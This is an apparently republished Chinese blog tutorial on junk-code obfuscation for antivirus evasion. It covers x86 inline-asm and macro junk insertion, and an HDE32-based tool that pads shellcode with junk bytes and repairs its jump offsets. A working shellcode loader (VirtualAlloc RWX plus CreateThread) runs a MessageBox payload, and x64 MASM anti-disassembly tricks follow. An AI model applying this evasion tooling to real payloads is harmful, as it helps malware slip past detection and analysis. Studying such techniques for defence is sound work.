【免杀】花指令入门

admin 2026-04-16 04:29:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统介绍了花指令(junkcode)的基本原理与实现方法,重点演示了x32环境下通过内联汇编和宏定义添加花指令的技术,包括基础跳转指令插入和自动化宏实现。同时详细解析了基于HackerDisassemblerEngine的shellcode混淆方案,涵盖跳转指令识别、偏移修复等核心环节,为免杀技术实践提供了可操作的代码示例和实现思路。 综合评分: 82 文章分类: 免杀,二进制安全,逆向分析,恶意软件,红队


cover_image

【免杀】花指令入门

原创

joe1sn joe1sn

不止Sec

2026年4月14日 17:05 重庆

在小说阅读器读本章

去阅读

花指令(junk code)是一种专门用来迷惑反编译器的指令片段,这些指令片段不会影响程序的原有功能,但会使得反汇编器的结果出现偏差,从而使破解者分析失败。比较经典的花指令技巧有利用

jmp 、callret 指令改变执行流,从而使得反汇编器解析出与运行时不相符的错误代码。

这里使用这个网站进行汇编到机器码的快速查询

https://defuse.ca/online-x86-assembler.htm#disassembly

如何添加花指令

要知道如何去除,首先就要想到如何添加

1. x32 手动添加

从简单的开始,从x86 (32位)开始,因为在windows上还支持在32位中进行汇编内联

这里先用个简单的吧

jmp&nbsp;$+2#0: &nbsp;eb 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp;2 <_main+0x2>

这条汇编长度是2,跳转到当前地址+2的地方,也就是说没有执行任何操作

但是MSVC的内联汇编不能这样写,得

    _asm {      jmp next1;  next1:  }

完整代码如下

#include&nbsp;<iostream>
bool&nbsp;verify(char* passwd)&nbsp;{size_t&nbsp;sum =&nbsp;0;    _asm {      jmp next1;  next1:  }for&nbsp;(size_t&nbsp;i =&nbsp;0; passwd[i]; i++)  {       _asm {          jmp next2;      next2:      }       sum *= (sum+passwd[i]) %&nbsp;13&nbsp;+&nbsp;1;     _asm {          jmp next3;      next3:      }   }if&nbsp;(sum ==&nbsp;0x1234567) {return&nbsp;true; }else&nbsp;{return&nbsp;false;  }}
int&nbsp;main(){char&nbsp;buffer[0x10] = {};    _asm {      jmp next;       next:   }&nbsp; &nbsp; std::cout <<&nbsp;"input password: ";scanf_s("%s", buffer,&nbsp;0x10);

if(verify(buffer))        std::cout <<&nbsp;"OK!\n";else      std::cout <<&nbsp;"NO!\n";
}

稍微进阶一点点的就是使用宏定义

#include&nbsp;<iostream>#include&nbsp;<stdio.h>
#define&nbsp;JUNK1 __asm { mov edx, edx }#define&nbsp;JUNK2 __asm { push eax } __asm { pop eax }#define&nbsp;JUNK3 __asm { xor eax, eax } __asm { add eax, 1 } __asm { sub eax, 1 }#define&nbsp;JUNK4 __asm { mov eax, eax }
#define&nbsp;CONCAT(a, b) a##b#define&nbsp;CONCAT_EXPAND(a, b) CONCAT(a, b)
#define&nbsp;JUNK5_IMPL(x) __asm { jmp CONCAT_EXPAND(skip, x) } CONCAT_EXPAND(skip, x) :#define&nbsp;JUNK5 JUNK5_IMPL(__COUNTER__)
#define&nbsp;JUNK_0 JUNK1#define&nbsp;JUNK_1 JUNK2#define&nbsp;JUNK_2 JUNK3#define&nbsp;JUNK_3 JUNK4#define&nbsp;JUNK_4 JUNK5#define&nbsp;JUNK_5 JUNK1#define&nbsp;JUNK_6 JUNK2#define&nbsp;JUNK_7 JUNK3#define&nbsp;JUNK_8 JUNK4#define&nbsp;JUNK_9 JUNK5
#define&nbsp;JUNK_EXPAND(x) JUNK_EXPAND2(x)#define&nbsp;JUNK_EXPAND2(x) JUNK_##x#define&nbsp;JUNKFUNC() JUNK_EXPAND(__COUNTER__)
bool&nbsp;verify(char* passwd)&nbsp;{&nbsp; &nbsp;&nbsp;size_t&nbsp;sum =&nbsp;1;
&nbsp; &nbsp;&nbsp;JUNKFUNC();
&nbsp; &nbsp;&nbsp;for&nbsp;(size_t&nbsp;i =&nbsp;0; passwd[i]; i++)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;JUNKFUNC();&nbsp; &nbsp; &nbsp; &nbsp; sum *= (sum + passwd[i]) %&nbsp;13&nbsp;+&nbsp;1;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;JUNKFUNC();&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;JUNKFUNC();
&nbsp; &nbsp;&nbsp;return&nbsp;sum ==&nbsp;0x1234567;}
int&nbsp;main(){&nbsp; &nbsp;&nbsp;char&nbsp;buffer[0x10] = {};
&nbsp; &nbsp;&nbsp;JUNKFUNC();
&nbsp; &nbsp; std::cout <<&nbsp;"input password: ";&nbsp; &nbsp;&nbsp;scanf_s("%15s", buffer, (unsigned)_countof(buffer));
&nbsp; &nbsp;&nbsp;JUNKFUNC();
&nbsp; &nbsp;&nbsp;if&nbsp;(verify(buffer))&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"OK!\n";&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"NO!\n";
&nbsp; &nbsp;&nbsp;JUNKFUNC();}

2. x32 简易shellcode混淆

这个方法和x64是一致的,我个人使用hde(Hacker Disassembler Engine 32)这个反汇编器做shellcode的混淆,你可以在minhook下或者github保存起来的仓库找到这个项目

首先是找到所有相对跳转的汇编指令,然后标记他们的起点和目的绝对跳转地址

#include&nbsp;"include/jumper.hpp"
bool&nbsp;is_jcc(uint8_t&nbsp;opcode){&nbsp; &nbsp;&nbsp;return&nbsp;(opcode >=&nbsp;0x70&nbsp;&& opcode <=&nbsp;0x7F);&nbsp;// short jcc}
bool&nbsp;is_jcc_0f(uint8_t&nbsp;opcode2){&nbsp; &nbsp;&nbsp;return&nbsp;(opcode2 >=&nbsp;0x80&nbsp;&& opcode2 <=&nbsp;0x8F);&nbsp;// 0F 8x}

std::vector<JumpInfo>&nbsp;find_jumps(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size){&nbsp; &nbsp; std::vector<JumpInfo> result;
&nbsp; &nbsp;&nbsp;size_t&nbsp;offset =&nbsp;0;
&nbsp; &nbsp;&nbsp;while&nbsp;(offset < size)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; hde32s hs;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;len =&nbsp;hde32_disasm(shellcode + offset, &hs);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hs.flags & F_ERROR || len ==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint8_t&nbsp;op = hs.opcode;&nbsp; &nbsp; &nbsp; &nbsp; JumpType type = JT_NONE;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int32_t&nbsp;rel =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bool&nbsp;isRelative =&nbsp;false;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(op ==&nbsp;0xE8)&nbsp;//CALL&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type = JT_CALL;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isRelative =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(op ==&nbsp;0xE9&nbsp;|| op ==&nbsp;0xEB)&nbsp;// JMP&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type = JT_JMP;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isRelative =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(is_jcc(op)) &nbsp; &nbsp;//JCC(short)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type = JT_JCC;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isRelative =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(op ==&nbsp;0x0F&nbsp;&&&nbsp;is_jcc_0f(hs.opcode2))&nbsp;// JCC(0x8)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type = JT_JCC;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; isRelative =&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(op ==&nbsp;0xFF) &nbsp; &nbsp;//FF /2 /4 (间接call/jmp)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint8_t&nbsp;modrm = hs.modrm;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint8_t&nbsp;reg = (modrm >>&nbsp;3) &&nbsp;7;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(reg ==&nbsp;4)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type = JT_JMP; &nbsp; &nbsp; &nbsp;// jmp r/m32
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(type != JT_NONE)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type = JT_ABSOLUTE;&nbsp;// 标记为绝对跳转&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(type != JT_NONE) &nbsp; &nbsp;//计算相对跳转目标&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;from = (uint32_t)offset;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;to =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(isRelative)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hs.flags & F_IMM8)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rel = (int8_t)hs.imm.imm8;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(hs.flags & F_IMM16)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rel = (int16_t)hs.imm.imm16;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(hs.flags & F_IMM32)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rel = (int32_t)hs.imm.imm32;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; to = (uint32_t)(offset + len + rel);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result.push_back({ from, to, type });&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; offset += len;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;result;}

然后就是解析长度后随机位置插入花指令然后修复相对位置的偏移

std::vector<uint8_t>&nbsp;remapper(unsigned&nbsp;char* shellcode,&nbsp;size_t&nbsp;size)&nbsp;{&nbsp; &nbsp; std::vector<Instruction> instructions;
&nbsp; &nbsp;&nbsp;size_t&nbsp;offset =&nbsp;0;
&nbsp; &nbsp;&nbsp;while&nbsp;(offset < size)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; hde32s hs;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;len =&nbsp;hde32_disasm(shellcode + offset, &hs);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hs.flags & F_ERROR || len ==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; Instruction inst;&nbsp; &nbsp; &nbsp; &nbsp; inst.old_offset = offset;&nbsp; &nbsp; &nbsp; &nbsp; inst.len = len;&nbsp; &nbsp; &nbsp; &nbsp; inst.bytes.assign(shellcode + offset, shellcode + offset + len);&nbsp; &nbsp; &nbsp; &nbsp; inst.hs = hs;
&nbsp; &nbsp; &nbsp; &nbsp; instructions.push_back(inst);
&nbsp; &nbsp; &nbsp; &nbsp; offset += len;&nbsp; &nbsp; }
&nbsp; &nbsp; std::vector<uint8_t> new_code;&nbsp; &nbsp; std::unordered_map<uint32_t,&nbsp;uint32_t> offset_map;
&nbsp; &nbsp;&nbsp;for&nbsp;(auto& inst : instructions)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 记录映射&nbsp; &nbsp; &nbsp; &nbsp; offset_map[inst.old_offset] = new_code.size();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 写入原指令&nbsp; &nbsp; &nbsp; &nbsp; new_code.insert(new_code.end(), inst.bytes.begin(), inst.bytes.end());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 随机插入 junk&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(rand() %&nbsp;5&nbsp;==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::vector<uint8_t> junk = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x90, &nbsp; &nbsp; &nbsp;&nbsp;// nop&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x50,&nbsp;0x58&nbsp;&nbsp;// push eax; pop eax&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_code.insert(new_code.end(), junk.begin(), junk.end());&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(rand() %&nbsp;3&nbsp;==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::vector<uint8_t> junk = {&nbsp;0x89,&nbsp;0xD2&nbsp;};//mov edx, edx
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_code.insert(new_code.end(), junk.begin(), junk.end());&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(rand() %&nbsp;6&nbsp;==&nbsp;0)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::vector<uint8_t> junk = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x83,&nbsp;0xC0,&nbsp;0x01,&nbsp;// add &nbsp; &nbsp;eax,0x1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x83,&nbsp;0xE8,&nbsp;0x01&nbsp;// &nbsp;sub &nbsp; &nbsp;eax,0x1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; new_code.insert(new_code.end(), junk.begin(), junk.end());&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;for&nbsp;(auto& inst : instructions)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto& hs = inst.hs;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 只处理相对跳转&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!(hs.flags & F_RELATIVE))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;old_from = inst.old_offset;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;new_from = offset_map[old_from];
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int32_t&nbsp;rel =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hs.flags & F_IMM8)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rel = (int8_t)hs.imm.imm8;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(hs.flags & F_IMM32)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rel = (int32_t)hs.imm.imm32;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;old_target = old_from + inst.len + rel;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找新地址&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(offset_map.find(old_target) == offset_map.end())&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp;// 跳到外部,跳过
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;new_target = offset_map[old_target];
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 计算新的相对偏移&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int32_t&nbsp;new_rel = (int32_t)(new_target - (new_from + inst.len));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 写回 new_code&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;write_pos = new_from + inst.len;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hs.flags & F_IMM8)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *(int8_t*)(&new_code[write_pos -&nbsp;1]) = (int8_t)new_rel;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;if&nbsp;(hs.flags & F_IMM32)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *(int32_t*)(&new_code[write_pos -&nbsp;4]) = new_rel;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;new_code;}

进行测试

#include&nbsp;<iostream>#include&nbsp;"include/jumper.hpp"int&nbsp;main(){&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;shellcode[] =&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\x40\xFF\x54\x24\x40\x57\xFF\xD0";&nbsp; &nbsp;&nbsp;auto&nbsp;jumps =&nbsp;find_jumps(shellcode,&nbsp;sizeof(shellcode));
&nbsp; &nbsp;&nbsp;for&nbsp;(auto& j : jumps)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"from: 0x"&nbsp;<< std::hex << j.from&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <<&nbsp;" -> to: 0x"&nbsp;<< j.to&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <<&nbsp;" type: "&nbsp;<< j.type << std::endl;&nbsp; &nbsp; }&nbsp; &nbsp; std::vector<uint8_t> newcode =&nbsp;remapper(shellcode,&nbsp;sizeof(shellcode));&nbsp; &nbsp; jumps =&nbsp;find_jumps(&newcode[0], newcode.size());
&nbsp; &nbsp;&nbsp;for&nbsp;(auto& j : jumps)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; std::cout <<&nbsp;"[new]from: 0x"&nbsp;<< std::hex << j.from&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <<&nbsp;" -> to: 0x"&nbsp;<< j.to&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <<&nbsp;" type: "&nbsp;<< j.type << std::endl;&nbsp; &nbsp; }&nbsp; &nbsp; PVOID lpAddr =&nbsp;VirtualAlloc(nullptr, newcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&nbsp; &nbsp;&nbsp;RtlCopyMemory(lpAddr, &newcode[0], newcode.size());&nbsp; &nbsp; HANDLE hThread =&nbsp;CreateThread(NULL,&nbsp;0, (LPTHREAD_START_ROUTINE)lpAddr,&nbsp;NULL,&nbsp;0,&nbsp;NULL);&nbsp; &nbsp;&nbsp;WaitForSingleObject(hThread,&nbsp;-1);
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

在尝试对CobaltStrike的shellcode进行混淆,很明显是不能成功的,大致来说就是cs的shellcode包含有SMC自解码、大量的跳转和自定义的hash API等。具体的shellcode分析可以见【免杀】Cobaltstrike Stager Payload分析

3. x64 手动添加

相较于x32更加困难就是无法使用内联汇编,所以尝试将核心代码使用汇编编写,直接在汇编中添加花指令,然后在主程序中调用。

我主要使用的是cmake进行编写,在CMakeLists.txt

project(jumper LANGUAGES CXX ASM_MASM)//启用汇编//....add_library(cr4 OBJECT src/cr4.asm)//添加到项目//最后链接的时候加上target_link_libraries(${PROJECT_NAME} PRIVATE hde $<TARGET_OBJECTS:cr4>)

在Visual Studio的方法可以参考syswhispers的方法

OPTION CASEMAP:NONE.code
PUBLIC CR4Enc
; void CR4Enc(uint8_t* plain, uint8_t* cipher, uint64_t size, uint64_t key)
CR4Enc PROC&nbsp; &nbsp; ; RCX = plain&nbsp; &nbsp; ; RDX = cipher&nbsp; &nbsp; ; R8 &nbsp;= size&nbsp; &nbsp; ; R9 &nbsp;= key
&nbsp; &nbsp;&nbsp;push&nbsp;rbx&nbsp; &nbsp;&nbsp;push&nbsp;rsi&nbsp; &nbsp;&nbsp;push&nbsp;rdi
&nbsp; &nbsp; ;无意义的寄存器操作&nbsp; &nbsp;&nbsp;push&nbsp;rax&nbsp; &nbsp;&nbsp;pop&nbsp;rax
&nbsp; &nbsp; mov rsi, rcx &nbsp; &nbsp; &nbsp; &nbsp;; plain
&nbsp; &nbsp; mov rdi, rdx &nbsp; &nbsp; &nbsp; &nbsp;; cipher&nbsp; &nbsp; mov rcx, r8 &nbsp; &nbsp; &nbsp; &nbsp; ; loop counter&nbsp; &nbsp; mov rbx, r9 &nbsp; &nbsp; &nbsp; &nbsp; ; key
; 使用ret跳转,打破ida的分析ret_junk:&nbsp; &nbsp; lea r10, ret_junk&nbsp; &nbsp; mov r11d, 5653D986h&nbsp; &nbsp;&nbsp;xor&nbsp;r11d, 5653d99Ch&nbsp; &nbsp; add r10, r11&nbsp; &nbsp;&nbsp;push&nbsp;r10&nbsp; &nbsp; ret
&nbsp; &nbsp; test rcx, rcx&nbsp; &nbsp; jz done
loop_start:&nbsp; &nbsp; mov al, byte ptr [rsi]
&nbsp; &nbsp; ; --- 简单 CR4Enc-like 混淆 ---&nbsp; &nbsp;&nbsp;xor&nbsp;al, bl &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; XOR key低字节&nbsp; &nbsp; rol al,&nbsp;3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 左旋3位&nbsp; &nbsp; add al, 55h &nbsp; &nbsp; &nbsp; &nbsp;; 加常数扰动
&nbsp; &nbsp; mov byte ptr [rdi], al
&nbsp; &nbsp; ;增加无意义的操作&nbsp; &nbsp; jmp short skip_junkskip_junk:&nbsp; &nbsp;&nbsp;xor&nbsp;rax, 0DEADBEEFh&nbsp; &nbsp;&nbsp;xor&nbsp;rax, 0DEADBEEFh
&nbsp; &nbsp; ; key 演化(类似流加密)&nbsp; &nbsp; ror rbx,&nbsp;1&nbsp; &nbsp; add rbx, 1337h
&nbsp; &nbsp; ;无意义的跳转&nbsp; &nbsp; jz junk&nbsp; &nbsp; jnz junkjunk:
&nbsp; &nbsp; inc rsi&nbsp; &nbsp; inc rdi&nbsp; &nbsp; dec rcx&nbsp; &nbsp; jnz loop_start
done:&nbsp; &nbsp;&nbsp;pop&nbsp;rdi&nbsp; &nbsp;&nbsp;pop&nbsp;rsi&nbsp; &nbsp;&nbsp;pop&nbsp;rbx&nbsp; &nbsp; ret
CR4Enc ENDP
END
#include&nbsp;<iostream>
extern&nbsp;"C"&nbsp;void&nbsp;CR4Enc(uint8_t* plain,&nbsp;uint8_t* cipher,&nbsp;uint64_t&nbsp;size,&nbsp;uint64_t&nbsp;key);
int&nbsp;main(){&nbsp; &nbsp;&nbsp;uint8_t&nbsp;data[] =&nbsp;"HelloWorld";&nbsp; &nbsp;&nbsp;uint8_t&nbsp;out[sizeof(data)] = {&nbsp;0&nbsp;};
&nbsp; &nbsp;&nbsp;CR4Enc(data, out,&nbsp;sizeof(data) -&nbsp;1,&nbsp;0x12345678);
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;sizeof(data) -&nbsp;1; i++)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("%02X ", out[i]);
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

现在就可以在汇编中手动添加花指令了,具体方法和x32手动添加类似

4. 编译中添加

笔者之所以想起这个方法是突然回忆起了AFL-fuzz的插装方法,这里简单提及

所以,AFL的代码插桩,就是在将源文件编译为汇编代码后,通过afl-as完成。开始重写汇编指令,准备在分支处插入代码

https://joe1sn.eu.org/2023/07/22/afl-source/

